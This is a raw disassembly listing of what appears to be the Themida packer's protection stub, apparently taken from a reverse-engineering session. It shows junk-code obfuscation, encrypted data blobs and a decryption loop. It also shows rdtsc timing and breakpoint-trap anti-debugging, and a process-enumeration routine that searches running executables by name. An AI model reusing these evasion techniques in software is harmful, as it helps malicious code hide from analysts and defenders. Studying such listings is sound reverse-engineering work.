sub_5DD4C4	proc near		; CODE XREF: Themida_:005DD4BCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5DD4C4	endp

; ---------------------------------------------------------------------------
		aaa
		test	byte ptr [eax-40h], 7Ch
		cmp	dh, [eax+29h]
		sub	[ebp+7FA006Dh],	edi
		mov	dword ptr [ebp+7FA31ADh], 5E58h
		xor	[ebp+7FA14B9h],	edx
		mov	dword ptr [ebp+7FA2BD9h], 0
		mov	di, 0CE34h
		push	dword ptr [ebp+7FA2EA9h]
		push	0
		push	ebx
		call	sub_5DD511
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD511	proc near		; CODE XREF: Themida_:005DD509p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5DD511	endp

; ---------------------------------------------------------------------------
		db 2Eh,	0C7h, 0C5h
; ---------------------------------------------------------------------------
		or	ebp, [ebp-76353492h]
		mov	ebp, 7FA3395h
		call	dword ptr [ebp+7FA1799h]
		or	eax, [ebp+7FA29E5h]
		push	0
		call	dword ptr [ebp+7FA1019h]
		mov	eax, eax
		jmp	short loc_5DD5B5
; ---------------------------------------------------------------------------
		db 0C0h
		dd 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h, 3E140D67h
		dd 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h,	3C8501C5h
		dd 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h, 0AA0EA38h
		dd 380EF58Eh, 0A91EAAA7h, 976F6E89h, 6C4E0841h,	676130F3h
		dd 0F0683665h, 0D3D6DD99h, 86183391h, 0E75F6FE6h, 3D706EF0h
		dd 5D372EA9h, 0F87DB603h
		db 79h
; ---------------------------------------------------------------------------


loc_5DD5B5:				; CODE XREF: Themida_:005DD545j
		call	sub_5DD5CB
		dec	esp
		test	al, 91h
		cmp	dh, [ebx]
		sti
		int	3		; Trap to Debugger
		db	64h
		jl	short near ptr loc_5DD640+3
		db	2Eh
		mov	esi, 0DCE1D5C7h

; =============== S U B	R O U T	I N E =======================================



sub_5DD5CB	proc near		; CODE XREF: Themida_:loc_5DD5B5p
		pusha
		call	sub_5DD5DF
		pop	edi
		mov	cl, 7Bh
		xor	al, 3
		aas
		out	10h, eax
		pop	ecx
		movsb
		retn	0C53h
sub_5DD5CB	endp

; ---------------------------------------------------------------------------
		db 0EBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5DD5DF	proc near		; CODE XREF: sub_5DD5CB+1p
		jmp	sub_5DD5F5
sub_5DD5DF	endp

; ---------------------------------------------------------------------------
		dd 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 23CE08C1h
		db 0E5h

; =============== S U B	R O U T	I N E =======================================



sub_5DD5F5	proc near		; CODE XREF: sub_5DD5DFj
		pop	ebx
		popa
		pop	ebx
		mov	[ebp+7FA0061h],	edx
		add	ebx, 6890h
		mov	dh, ch
		push	0
		mov	edx, edi
		pop	ecx
		mov	esi, [ebp+7FA17A9h]


loc_5DD614:				; CODE XREF: sub_5DD5F5+6Dj
		mov	edi, [ebx+ecx]
		mov	al, 0CDh
		xor	edi, 666BF22Fh
		xor	[ebp+7FA33E1h],	eax
		add	edi, 3EE32A4Ch
		mov	esi, [ebp+7FA3229h]
		add	edi, 0B84B32Eh
		cld
		mov	[ebx+ecx], edi
		or	si, 6DC7h


loc_5DD640:				; CODE XREF: Themida_:005DD5C2j
		add	si, 74E7h
		sub	ecx, 68B2D308h
		or	edx, [ebp+7FA0EE9h]
		add	ecx, 68B2D304h
		mov	esi, 5F72C378h
		cmp	ecx, 0FFFF9820h
		jnz	loc_5DD614
		xor	eax, [ebp+7FA0E65h]
		lea	ecx, [ebp+7FFA310h]
		push	0
		push	ebp
		call	sub_5DD67F
		and	[ebp-3Dh], bl
sub_5DD5F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DD67F	proc near		; CODE XREF: sub_5DD5F5+82p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5DD67F	endp

; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------
		mov	edi, [ebp+7FA208Dh]
		mov	[ebp+7FA1CD9h],	ecx
		push	0
		push	eax
		call	sub_5DD6A7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD6A7	proc near		; CODE XREF: Themida_:005DD69Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5DD6A7	endp

; ---------------------------------------------------------------------------
		db 45h
		dd 0F5637705h, 2948FC1h, 0AD85C72Eh, 407FA31h, 6A00005Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0C76BC357h, 34C53638h, 0F84396E5h, 2BD985C7h
		dd 7FAh, 0BA660000h, 0B5FFC575h, 7FA243Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AAC35646h, 12E862h
		dd 5B770000h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
		dd 2F99BD03h, 0FF5A07FAh, 0FA179995h, 43F8B807h, 6A5084h
		dd 101995FFh, 0C08B07FAh, 5CD25BEBh, 0F2827AD9h, 63B8281Fh
		dd 0F7E443C4h, 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 6F37E015h
		dd 56A1F6E6h, 92A91B8h,	3FFF91Fh, 9F653618h, 0EF9932B2h
		dd 4B9916B9h, 56B3996Eh, 0B29CE40Ah, 0B4787401h, 65E55DB9h
		dd 12DA9C4Ch, 9E29BC7Dh, 8D18C0BCh, 0B61883C0h,	0CF15AFB4h
		dd 2CE9B1h, 4E5A0000h, 5433h, 9	dup(0)
		dd 4AE90000h, 4D000005h, 0F29FD5C9h, 9B487E20h,	41EE247Ah
		dd 0ED9AD0CEh, 10447A24h, 19D745Bh, 0A8F61ECBh,	534BC572h
		dd 0FBA3701Dh, 829EF6C5h, 7E6261Fh, 0A728DF45h,	1CD0216Ch
		dd 6BF21713h, 0FF127702h, 57BC699Fh, 0E99050Bh,	0C2EC7CE5h
		dd 0C40C8CC9h, 6737DC02h, 60C558FEh, 0FB60EBB3h, 0A3FC8717h
		dd 0A952953h, 33F206D8h, 0E6EBB417h, 2089E2FFh,	703FF97Ah
		dd 1EA9F51Bh, 71A24FF5h, 0C64AF72Dh, 1BF5A2D8h,	8193F883h
		dd 0D700921Dh, 8BD7391Dh, 73D6F285h, 0A1FFE6EBh, 4076DF48h
		dd 8E1E8093h, 1CC2DC39h, 0EAF75D89h, 0B526FFE6h, 0F7BCF4FBh
		dd 695A3874h, 0EB000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh
		dd 8591F49h, 0D2037E9Ch, 8245C2Ch, 1C23875h, 53000000h
		dd 1DF76BA7h, 3D8D1881h, 5BAF1813h, 0D177F923h,	25B0EE24h
		dd 0FD134FC0h, 84ED16A1h, 0AD67A0F9h, 1F829EDEh, 45FFE6F2h
		dd 799946ECh, 0D142EF25h, 99133DCDh, 5065DCB6h,	0A10A947Dh
		dd 0FB25BDFBh, 7DD51E92h, 742BD12Bh, 0A4346AA7h, 4ED9C54Fh
		dd 87EC7F25h, 6638D78Bh, 6938B2DBh, 5F1AC57h, 0F74CDC45h
		dd 0D1CD471Bh, 0EB41D46h, 0A0FE167Bh, 1265B015h, 0E6FF93F6h
		dd 0FF68C1FFh, 35EF3074h, 4600318Dh, 0AEF02277h, 0E8B65B08h
		dd 7F0E05B2h, 0B779A436h, 8520FA95h, 0C7BEFA74h, 0EF19A912h
		dd 631B6EEh, 21B45AD1h,	0BA4559BCh, 59E4BA55h, 0F37E20F4h
		dd 901B838Eh, 20DA0B67h, 0D8921378h, 74D089D1h,	31467038h
		dd 0CEE1741Eh, 37CAF424h, 73DCA288h, 62ECCDh, 0A77D0000h
		dd 59A9346Ah, 0EC920C04h, 38C8D63Fh, 0DC6C32E3h, 0E6835DC0h
		dd 842A83FFh, 1E4898F1h, 0A9DBAF98h, 0D657FD55h, 0C5D9381Ch
		dd 6F2FE28Fh, 0E907FE4h, 23DD5E83h, 7554D41Ch, 417238h
		dd 0BC030000h, 69F4AA67h, 24ED9A40h, 5F9FEF7Ah,	0E683E043h
		dd 7AD06FFh, 5DE8B65Ah,	3A1ED819h, 0DA91C7D7h, 0A8336BA7h
		dd 0E683167Ch, 1CD647FFh, 748EDD15h, 97B38h, 0D62B0000h
		dd 0B5E9273Bh, 0A7EFA64Ch, 40A5306Eh, 0D23FBAD3h, 0CB39B382h
		dd 0A3CC5747h, 141D13Ah, 0E73382E5h, 0F41BB0FFh, 8DF61FAAh
		dd 99C254E7h, 481AFBDFh, 0FC4CD7C7h, 0E7337DE0h, 0E14AA3FFh
		dd 55AA4278h, 3059E4BAh, 60298Ah, 49F65470h, 0ABD507E1h
		dd 0ACB9EF76h, 115A001Bh, 4BC82DB8h, 30851D53h,	0B34BFDFh
		dd 435BB865h, 0F33E68B8h, 6ADE364Ch, 0B3188C32h, 7D07E164h
		dd 167B0698h, 0D519A4FAh, 0AE32DA94h, 44CFB36Dh, 9C77245Ah
		dd 1127702h, 0AEF6129Dh, 3FE4BA59h, 163FCAD4h, 5135EF70h
		dd 0F74CDCC2h, 9DDB811Dh, 6F7095CDh, 1193340h, 0F3C40000h
		dd 0FA3ACA96h, 833B9EBAh, 0E05FFE6h, 7CF64F90h,	0D6AC7E69h
		dd 10842AE1h, 7E110BAh,	0DA3D5999h, 807E0F0h, 67C009AFh
		dd 29C77DCh, 0AAF41FCCh, 4559BA1Fh, 0B36D9EBAh,	245A44CFh
		dd 6EFC1C54h, 3FBA40h, 0F34B0000h, 0C36C69Ah, 971F61DCh
		dd 3F5BEB81h, 0FFE77BDCh, 730BB10Ah, 0E77AD457h, 1EA9027Fh
		dd 0E58A8FF2h, 813B647Fh, 2CBCA4E9h, 0D9643AD7h, 56720AB0h
		dd 0FFE589D3h, 8B72A801h, 93h, 0CA96F324h, 65BAFA3Ah, 3D66F1ADh
		dd 0E6836ED1h, 953B94FFh, 0E09AB721h, 809CDC07h, 7E0991Dh
		dd 3C62AE43h, 791F88B1h, 0E74CD730h, 8F3C722Ch,	4A8A1A84h
		dd 0E099CB2Eh, 0FAA0F907h, 9AD33B67h, 8FD007E0h, 7C22F1D5h
		dd 24FBC2ECh, 0C7B5733Eh, 782E321h, 5F89C959h, 9F3A27F7h
		dd 0D94DF374h, 0FE111E7h, 0EC4F6BEBh, 1AFFEBCAh, 68CD58C1h
		dd 0D668F3ABh, 2E5BF3ADh, 4CAFCB0Bh, 7AFFEBCBh,	0CB52B521h
		dd 2780FFEBh, 20122EBEh, 0C607EB6Fh, 0F380376Dh, 0FA3ACA96h
		dd 882E70A5h, 0E6272214h, 0CC57B007h, 0BD203C7Ch, 0E307E626h
		dd 7BDEFA8Ah, 0A907E626h, 16FDAA50h, 6EA55288h,	0F5801EF4h
		dd 88D863CCh, 80D33D5Eh, 0C352DF3Ah, 0BE2750DBh, 0BF88A418h
		dd 8EDE5BB2h, 73773064h, 1EC42A70h, 14FFE39Dh, 6CA7548Ah
		dd 4662A232h, 541A22E3h, 7977C11h, 5AEA537Ch, 1A23DB3Eh
		dd 0AB00954h, 0A1FD1277h, 0A15B8416h, 0B84856BDh, 59B6AC63h
		dd 2891BA45h, 7C974482h, 0D43D9222h, 0F29124CAh, 0Dh, 607CBC8Bh
		dd 0FFE682FDh, 8B24CA23h, 2F6FA72Ch, 0CAD43FA4h, 6836DA3Fh
		dd 29C78DDh, 9FFF1277h,	3C62AF14h, 0DBC34CB1h, 742AEB50h
		dd 108E84E9h, 0EC835285h, 24248904h, 4BE56h, 74010000h
		dd 535E0424h, 0C381E389h, 4, 4EB81h, 1C870000h,	1C895C24h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243489h
		dd 3637F0BEh, 8BE68124h, 4658BF20h, 8102EEC1h, 0D90C08EEh
		dd 0EC68106h, 0BB274CC2h, 2880E1CCh, 685EF329h,	6BB3h
		dd 83242489h, 5E042404h, 8904EC83h, 8B82404h, 1000000h
		dd 581889F0h, 5E2434FFh, 0FF04C483h, 835B2434h,	5E904C4h
		dd 0ADFFFAD6h, 0A85DB8A5h, 0C50307FFh, 5D2DE0FFh, 0EE4E4C2Fh
		dd 1C7F6282h, 0E7B11B92h, 0B71B7769h, 39931672h, 3CE91C09h
		dd 1, 4Eh dup(0)
		dd 83000000h, 0FA0D95BDh, 840F0107h, 531h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0AFC35242h, 0F93B1720h
		dd 66585C6h, 0F84307FAh, 4E8h, 0A5D0F500h, 0EE9ECh, 583D0000h
		dd 1238B3FBh, 5B603283h, 1E30AAB9h, 52506050h, 0FFE8B66h
		dd 5A5E5031h, 52505058h, 585A310Fh, 448B615Ah, 66600424h
		dd 0B85852BAh, 3F61492Ch, 60008B61h, 0F525060h,	8B585A31h
		dd 896161DEh, 60042444h, 0BE8h,	0AEBC0C00h, 38BFD0E3h
		dd 82E380FEh, 12E8h, 5A00E800h,	3816E60Fh, 0DF1DE1Fh, 0BA4119EEh
		dd 58AE9F31h, 0BB9665Fh, 6A586178h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DB17C353h
		dd 16EC387h, 18A0F18h, 0FC000000h, 0CE9h, 0A0789000h, 50153688h
		dd 4C546EEh, 95B5FFE8h,	0F07FA20h, 589h, 0EC806000h, 858D61E5h
		dd 7FDA3DDh, 6E9h, 617D4900h, 0F0848AAh, 38Ch, 61F56000h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 26FD7AC3h, 3E40145Fh, 619CB460h, 2ED8589h
		dd 0EE907FAh, 14000000h, 0A7AA96BAh, 0C203C98Ch, 0BFB5048h
		dd 85C6F9CBh, 7FA0665h,	128C0F50h, 0E9000000h, 0Dh, 64C566DAh
		dd 21041C97h, 12B1848Ah, 0BD656802h, 5250AE13h,	0AE860h
		dd 0AC20000h, 0D6DC4FA8h, 0CD7D3D5Ch, 310F6159h, 5E95250h
		dd 64000000h, 89F2BC10h, 6160310Fh, 585A585Ah, 33243481h
		dd 0F06BE10h, 0A86h, 810F6000h,	0
; ---------------------------------------------------------------------------
		mov	esi, ebx
		popa
		push	dword ptr [ebp+7FA2095h]
		jz	loc_5DE064
		cld


loc_5DE064:				; CODE XREF: Themida_:005DE05Dj
		pusha
		js	$+6
		mov	cx, 8AEFh
		popa
		lea	eax, [ebp+7FDA3DDh]
		pusha
		jmp	loc_5DE08C
; ---------------------------------------------------------------------------
		dd 7B120070h, 314C089Fh, 77A46C99h, 0B9460AE8h
; ---------------------------------------------------------------------------


loc_5DE08C:				; CODE XREF: Themida_:005DE077j
		jmp	loc_5DE0A2
; ---------------------------------------------------------------------------
		db 47h,	65h, 0D6h
; ---------------------------------------------------------------------------
		sub	edx, [eax]
		pop	ebp
		test	byte ptr [esi+52h], 0D1h
		and	eax, 70779CD7h
		sub	al, 45h


loc_5DE0A2:				; CODE XREF: Themida_:loc_5DE08Cj
		popa
		call	eax
		clc
		mov	[ebp+7FA0F09h],	eax
		pusha
		call	near ptr loc_5DE0B9+1
		sbb	[edi+ecx-22B32B68h], ebp


loc_5DE0B9:				; CODE XREF: Themida_:005DE0ADp
		sub	ebx, [edi+61h]
		clc
		call	near ptr loc_5DE0C5+1
		das
		test	al, 8Fh


loc_5DE0C5:				; CODE XREF: Themida_:005DE0BDp
		lock pusha
		popa
		push	eax
		js	loc_5DE0DB
		js	loc_5DE0DB
		jnz	$+6


loc_5DE0DB:				; CODE XREF: Themida_:005DE0C9j
					; Themida_:005DE0CFj
		mov	eax, [esp+4]
		pusha
		mov	bx, 0C246h
		popa
		mov	eax, [eax]
		pusha
		popa
		mov	[esp+4], eax
		push	eax
		push	edx
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc


loc_5DE0F9:				; CODE XREF: Themida_:005DE177j
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		rdtsc
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		pop	eax
		jmp	loc_5DE129
; ---------------------------------------------------------------------------
		db 0DFh, 0BDh, 0C0h
		dd 55625BD3h, 59A3D4CDh
; ---------------------------------------------------------------------------
		inc	ebp


loc_5DE129:				; CODE XREF: Themida_:005DE118j
		push	dword ptr [ebp+7FA2095h]
		push	0
		push	edx
		call	sub_5DE13A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DE13A	proc near		; CODE XREF: Themida_:005DE132p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5DE13A	endp

; ---------------------------------------------------------------------------
		dw 53D1h
; ---------------------------------------------------------------------------
		add	eax, 9DD38275h
		pusha
		jz	loc_5DE15A
		pusha
		popa


loc_5DE15A:				; CODE XREF: Themida_:005DE152j
		popa
		lea	eax, [ebp+7FDA3DDh]
		pusha
		jbe	loc_5DE16A
		push	ecx
		pop	ebx


loc_5DE16A:				; CODE XREF: Themida_:005DE162j
		call	near ptr sub_5DE17A
		push	ecx
		cmpsd
		cmp	eax, 0E92E4306h
		push	edx
		jb	short loc_5DE0F9
		xlat

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5DE17A	proc far		; CODE XREF: Themida_:loc_5DE16Ap
		jmp	near ptr sub_5DE18B
sub_5DE17A	endp

; ---------------------------------------------------------------------------
		db 76h
		dd 0D1CA97D2h, 49CECE0Dh
		db 3Ch,	0Ah, 2

; =============== S U B	R O U T	I N E =======================================



sub_5DE18B	proc far		; CODE XREF: sub_5DE17Aj
		pop	ebx
		popa
		jmp	loc_5DE19E
; ---------------------------------------------------------------------------
		or	al, 6Fh
		and	eax, 7111E325h
		or	al, 0A1h
		or	al, 0F1h
		xchg	eax, ebx


loc_5DE19E:				; CODE XREF: sub_5DE18B+2j
		call	eax
		pusha
		jp	loc_5DE1AD
		add	ecx, 560A15F4h


loc_5DE1AD:				; CODE XREF: sub_5DE18B+16j
		push	ecx
		sub	di, 909Bh
		pop	eax
		popa
		mov	[ebp+7FA0A75h],	eax
		pusha
		jno	loc_5DE1C4
		mov	ah, 1Bh


loc_5DE1C4:				; CODE XREF: sub_5DE18B+31j
		popa
		mov	byte ptr [ebp+7FA0665h], 50h
		jmp	loc_5DE1E3
; ---------------------------------------------------------------------------
		db 50h,	0D6h, 0A8h
		dd 5964578Bh, 0DD38F480h, 1DE6FBFh
		db 0E8h, 0E4h, 7Ah
; ---------------------------------------------------------------------------


loc_5DE1E3:				; CODE XREF: sub_5DE18B+41j
		pusha
		jle	loc_5DE1EC
		pusha
		popa


loc_5DE1EC:				; CODE XREF: sub_5DE18B+59j
		call	loc_5DE1FC
		cmc
		push	es
		retf
sub_5DE18B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 4E6BCDA2h, 0B9C29A6Dh
; ---------------------------------------------------------------------------


loc_5DE1FC:				; CODE XREF: sub_5DE18B:loc_5DE1ECp
		pop	edx
		popa
		push	0F2F12B18h
		jmp	loc_5DE21C
; ---------------------------------------------------------------------------
		dd 14721E65h, 0E1FEFB75h, 0AA7107B7h, 0D2C775B8h, 0C7A6979Eh
; ---------------------------------------------------------------------------


loc_5DE21C:				; CODE XREF: Themida_:005DE203j
		xor	dword ptr [esp], 656DF74Eh
		jmp	loc_5DE234
; ---------------------------------------------------------------------------
		dd 0D758598Ch, 4DE38159h, 0F030DC51h
; ---------------------------------------------------------------------------


loc_5DE234:				; CODE XREF: Themida_:005DE223j
		push	dword ptr [ebp+7FA08A5h]
		cmc
		pusha
		mov	ecx, 24362695h
		jmp	loc_5DE259
; ---------------------------------------------------------------------------
		dw 3FD7h
		dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 4C2B42DAh
		db 0EAh
; ---------------------------------------------------------------------------


loc_5DE259:				; CODE XREF: Themida_:005DE241j
		popa
		lea	eax, [ebp+7FA3AE2h]
		jmp	loc_5DE273
; ---------------------------------------------------------------------------
		not	byte ptr [edx+29h]
		inc	esp
		ja	short loc_5DE273
		aam	0BCh
		push	esi
		lodsd
		retf
; ---------------------------------------------------------------------------
		db 83h,	0B5h, 79h
; ---------------------------------------------------------------------------


loc_5DE273:				; CODE XREF: Themida_:005DE260j
					; Themida_:005DE269j
		call	eax
		jmp	loc_5DE281
; ---------------------------------------------------------------------------
		cmp	[ebx+2BA43070h], ch
		sahf


loc_5DE281:				; CODE XREF: Themida_:005DE275j
		mov	[ebp+7FA25C5h],	eax
		pusha
		sub	al, 4Bh
		popa
		jmp	loc_5DE3D1
; ---------------------------------------------------------------------------
		cld
		jno	loc_5DE2A4
		pusha
		mov	ax, 4D28h
		jg	$+6
		popa


loc_5DE2A4:				; CODE XREF: Themida_:005DE292j
		push	eax
		push	eax
		push	edx
		jmp	loc_5DE2B3
; ---------------------------------------------------------------------------
		xor	bl, [ecx]
		cmp	eax, 0CCC16018h


loc_5DE2B3:				; CODE XREF: Themida_:005DE2A7j
		rdtsc
		push	eax
		push	edx
		jmp	loc_5DE2C2
; ---------------------------------------------------------------------------
		dd 0EF7BC23Ch
; ---------------------------------------------------------------------------
		or	ecx, [edi]


loc_5DE2C2:				; CODE XREF: Themida_:005DE2B7j
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		mov	[esp], ebp
		clc
		mov	ebp, esp
		pusha
		popa
		add	esp, 0FFFFFFFCh
		stc
		jb	loc_5DE2F5
		jmp	loc_5DE2F5
; ---------------------------------------------------------------------------
		db 25h,	0A9h, 26h
		dd 0D40C8E43h, 0DE54D4A0h, 5DFA7D98h
		db 0A8h
; ---------------------------------------------------------------------------


loc_5DE2F5:				; CODE XREF: Themida_:005DE2DAj
					; Themida_:005DE2E0j
		pusha
		cmc
		call	$+5
		pop	edx
		sub	edx, 7FFAEBBh
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+7FA0D95h], 1
		jz	loc_5DE3AF
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+7FA02EDh]
		pop	edx
		mov	[edx+7FFA916h],	eax
		lea	ebx, [edx+7FFA91Ah]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+7FA0F09h]
		pop	edx


loc_5DE33F:				; CODE XREF: Themida_:005DE369j
					; Themida_:005DE39Dj
		push	edx
		lea	ebx, [edx+7FFA91Ah]
		push	ebx
		push	dword ptr [edx+7FFA916h]
		call	dword ptr [edx+7FA25C5h]
		pop	edx
		or	eax, eax
		jz	short loc_5DE3A8
		lea	ebx, [edx+7FFA91Ah]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5DE363:				; CODE XREF: Themida_:005DE373j
		cmp	ecx, 104h
		jz	short loc_5DE33F
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5DE363
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+7FA11DDh]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+7FA11DDh]
		push	eax
		call	dword ptr [edx+7FA0A75h]
		pop	edx
		or	eax, eax
		jnz	short loc_5DE33F
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5DE3AF
; ---------------------------------------------------------------------------


loc_5DE3A8:				; CODE XREF: Themida_:005DE356j
		mov	dword ptr [ebp-4], 0


loc_5DE3AF:				; CODE XREF: Themida_:005DE311j
					; Themida_:005DE3A6j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		db 0E9h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DE3BB:				; CODE XREF: Themida_:005DE3E0j
		add	[ebp+esi*8-13FF357Ch], bh
		scasd
		sbb	eax, 99179E52h
		pop	edx
		mov	esi, 0BF0F60F5h
		div	ch
		popa


loc_5DE3D1:				; CODE XREF: Themida_:005DE28Cj
		mov	edx, edx
		fcom	qword ptr [ebx]
		stosd
		sbb	eax, 298FBF6Eh
		mov	esp, 23F0CD63h
		jno	short loc_5DE3BB
		add	al, 43h
		xor	eax, 707878A5h


loc_5DE3E9:				; CODE XREF: Themida_:loc_5DE3E9j
		jz	short loc_5DE3E9
		xchg	eax, edi
		test	[edi], esi
		adc	dword ptr [eax-7Bh], 49h
		xor	eax, esp
		icebp
; ---------------------------------------------------------------------------
		db 0D9h, 0D3h, 0E8h
		dd 4E1FDD05h, 1C029988h, 0F63E7532h, 0B931745Bh, 3462745Fh
		dd 6E317436h, 6CF22F15h, 9F1528BCh, 0C91530B4h,	0E631742Ch
		dd 98F22776h, 7301C219h, 0D9B77B51h, 8317435h, 82A59BB4h
		dd 9B3297DCh, 9E311E35h, 0E63177DDh, 0B06A5435h, 9D6DFD6Eh
		dd 0F875F531h, 6E316D31h, 0F4623735h, 5342E67Eh, 0DCD9523Fh
		dd 0F6317435h, 37CD6581h, 392D87ADh, 0A6D64D64h, 0B41D7BB5h
		dd 692885B5h, 26B28DBEh, 0CACB6CCCh, 0F0B57B35h, 8B317435h
		dd 0B932E7DCh, 0DC3A9D35h, 0CE247435h, 10BF383Ah, 0FCAEFD6h
		dd 7FB4F91Bh, 0E368B9Ah, 7331743Ah, 0C2DD1834h,	0C275FED4h
		dd 707CAAB6h, 0CF09541Fh, 58EE46Fh, 9D297C2Bh, 0B95568Fh
		dd 0F33EE46Ch, 0B9317422h, 0DC3164DDh, 7CC82C35h, 4BA5E5AFh
		dd 96A7E3BBh, 2452BF78h, 6B6B8188h, 8C9EE0B0h, 0EA311E32h
		dd 0DC3177DDh, 0AD6A5435h, 136DFD6Eh, 0BF75F531h, 0CD316D31h
		dd 25623735h, 0AB4CA25Ah, 50A1B4DFh, 0DC317421h, 35AF9A0Dh
		dd 47E61D7Ah, 0FC623FF9h, 0D5FB1802h, 703D04A2h, 0F367E465h
		dd 0EE688FF4h, 0D9A48B6Ah, 0E368E1Ch, 37317ADCh, 34E14735h
		dd 1DC2F8C4h, 0CCCA2DAh, 13AE5F06h, 0EF4BB7B4h,	593E4D88h
		dd 6E317435h, 0F7BA1554h, 7360745Fh, 0CD317436h, 0BFF22D15h
		dd 771538BCh, 0BD1530B4h, 0DC317421h, 27F22574h, 373172DDh
		dd 1BB50F35h, 77430E1Ch, 0E9AF0C73h, 0BE8CF76Ch, 0B9368E1Fh
		dd 61B27D40h, 69CB6CACh, 67280035h, 23F1FF66h, 0CD31704Fh
		dd 0C6F8F1BCh, 0EEBC73CFh, 0BECD9611h, 846AA7CAh, 76A8C9B6h
		dd 433173CFh, 23622422h, 0CD31704Fh, 0C6F8F1BCh, 0EEBC73CFh
		dd 0BECDAB26h, 846AA7CAh, 8663745Fh, 37317436h,	0C1F22E15h
		dd 0C91520BCh, 0E21530B4h, 7331742Ch, 1BF22677h, 4E82615Eh
		dd 6E399C1Eh, 0DD5B7435h, 0DDA310CFh, 0B28FF1C4h, 0BC37A781h
		dd 19F1FFCCh, 0BAD92635h, 0FC317435h, 0E76BB76Fh, 0B6355061h
		dd 8E355071h, 8F317435h, 0E505B767h, 0EFACF9C0h, 50368B9Ah
		dd 0DC317425h, 51141D78h, 0FA47AC9Ch, 818A1CC2h, 7D9360A4h
		dd 7930F1B8h, 735B73CAh, 0B9329C64h, 85117435h,	22B82DF6h
		dd 73B07011h, 9B257011h, 9C707435h, 693E8DF6h, 73317437h
		dd 69CEA2BEh, 2151CA67h, 656E3A51h, 0B0B57BF5h,	0F1317435h
		dd 0CED92235h, 0C6317435h, 0FA6FB76Bh, 38355041h, 0CB355071h
		dd 28317435h, 0AA6CB763h, 8AD92DECh, 44317435h,	0CA4D26CEh
		dd 0D6788D04h, 0CA96C3B4h, 0F137DBFAh, 0F3BC2EC0h, 30CB3B53h
		dd 62C6FF53h, 0CD31778Dh, 0B3311E35h, 733177DDh, 7A6C5435h
		dd 0F85DFD68h, 4A75F531h, 37316931h, 58643135h,	0BF61FD56h
		dd 734BBE33h, 0BDBA3A88h, 0AAD897CAh, 52317435h, 7A6854A4h
		dd 0A7A8799Fh, 5396427Fh, 0F22D541Bh, 7BBC3073h, 74CEDB91h
		dd 5164745Fh, 0DC317436h, 33F22915h, 331518BCh,	9F1530B4h
		dd 0CD317420h, 0A1F22170h, 8D867B37h, 2630F1B8h, 23C873CAh
		dd 61F17FE5h, 373169B1h, 0CF881235h, 0ABACF9BEh, 0E9368E7Ah
		dd 733174B4h, 0B930CC35h, 0BA517435h, 0FAA7E8Dh, 0AABC97CAh
		dd 9CCEDB9Ch, 2566745Fh, 0E6317436h, 2CF22B15h,	0BD1508BCh
		dd 0D81530B4h, 6E31742Eh, 0B9F22372h, 0F864F435h, 0ABA8A0A6h
		dd 6BD1628Ah, 8CAE75B0h, 0B9399C32h, 0CD087435h, 29E010BAh
